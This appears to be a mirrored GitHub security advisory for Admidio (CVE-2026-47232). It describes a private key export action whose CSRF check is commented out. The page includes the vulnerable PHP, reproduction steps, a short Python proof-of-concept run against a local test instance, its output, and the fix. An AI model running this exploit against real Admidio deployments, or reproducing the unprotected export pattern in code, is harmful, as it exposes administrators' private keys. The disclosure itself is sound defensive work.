GHSA-4rgq-38mh-9xqg

Опубликовано: 29 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 4.3

Описание

Admidio PKCS#12 private key export action lacks CSRF protection

Summary

The sensitive mode=export action in modules/sso/keys.php exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.

Vulnerable Code Links

Vulnerable Code

// modules/sso/keys.php case 'export': // SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break;

// src/SSO/Service/KeyService.php public function exportToPkcs12(string $keyUUID, string $password = '') { $ssoKey = new Key($this->db); $ssoKey->readDataByUuid($keyUUID); ... openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]); header('Content-Type: application/x-pkcs12'); header('Content-Disposition: attachment; filename="' . $filename . '.p12"'); echo $pkcs12; exit; }

What Does The Code Mean

The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.

Why The Code Is Vulnerable

The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.

Verification Environment

Application: Admidio v5.0.9
Runtime: Dockerized Admidio + MariaDB on http://localhost:18080
Validation mode: real deployed application, not isolated unit tests

Steps To Reproduce

Log in as an administrator.
Create or seed an SSO key pair.
Send a POST request to /modules/sso/keys.php?mode=export&uuid=<key-uuid> with only key_password=ExportPass123! and no adm_csrf_token.
Verify that the response returns application/x-pkcs12 and that the returned file parses successfully with OpenSSL.

PoC Script

import os from pathlib import Path from helpers import BASE_URL, login, new_session, save_json, save_text KEY_UUID = os.environ["ADMIDIO_KEY_UUID"] def main(): session = new_session() login_result = login(session, "admin", "AdminPass123!") resp = session.post( f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}", data={"key_password": "ExportPass123!"}, ) resp.raise_for_status() Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content) save_json( "pkcs12_export_csrf_result.json", { "login": login_result, "status_code": resp.status_code, "content_type": resp.headers.get("Content-Type"), "content_length": len(resp.content), "content_disposition": resp.headers.get("Content-Disposition"), }, ) if __name__ == "__main__": main()

PoC Output

{ "content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"", "content_length": 2644, "content_type": "application/x-pkcs12", "login": { "cookies": { "ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb" }, "csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn", "json": { "status": "success", "url": "http://localhost:18080/modules/overview.php" }, "status_code": 200 }, "status_code": 200 } MAC: sha256, Iteration 2048 MAC length: 32, salt length: 8 PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256 Certificate bag PKCS7 Data Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256

Impact

A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.

Remediation And Suggestions

Restore CSRF validation and require a POST body token before exporting private key material.

case 'export': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $keyService = new KeyService($gDb); $password = admFuncVariableIsValid($_POST, 'key_password', 'string'); $keyService->exportToPkcs12($getKeyUUID, $password); break;

For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.

Ссылки

https://github.com/Admidio/admidio/security/advisories/GHSA-4rgq-38mh-9xqg

Пакеты

Наименование

admidio/admidio

composer

Затронутые версииВерсия исправления

<= 5.0.9

5.0.10

EPSS

Процентиль: 1%

0.00104

Низкий

4.3 Medium

CVSS3

CVE ID

CVE-2026-47232

Дефекты

CWE-352

Связанные уязвимости

CVE-2026-47232

CVSS3: 4.3

nvd

около 1 месяца назад

Admidio is an open-source user management solution. Prior to version 5.0.10, the sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. Version 5.0.10 contains a fix.

EPSS

Процентиль: 1%

0.00104

Низкий

4.3 Medium

CVSS3

CVE ID

CVE-2026-47232

Дефекты

CWE-352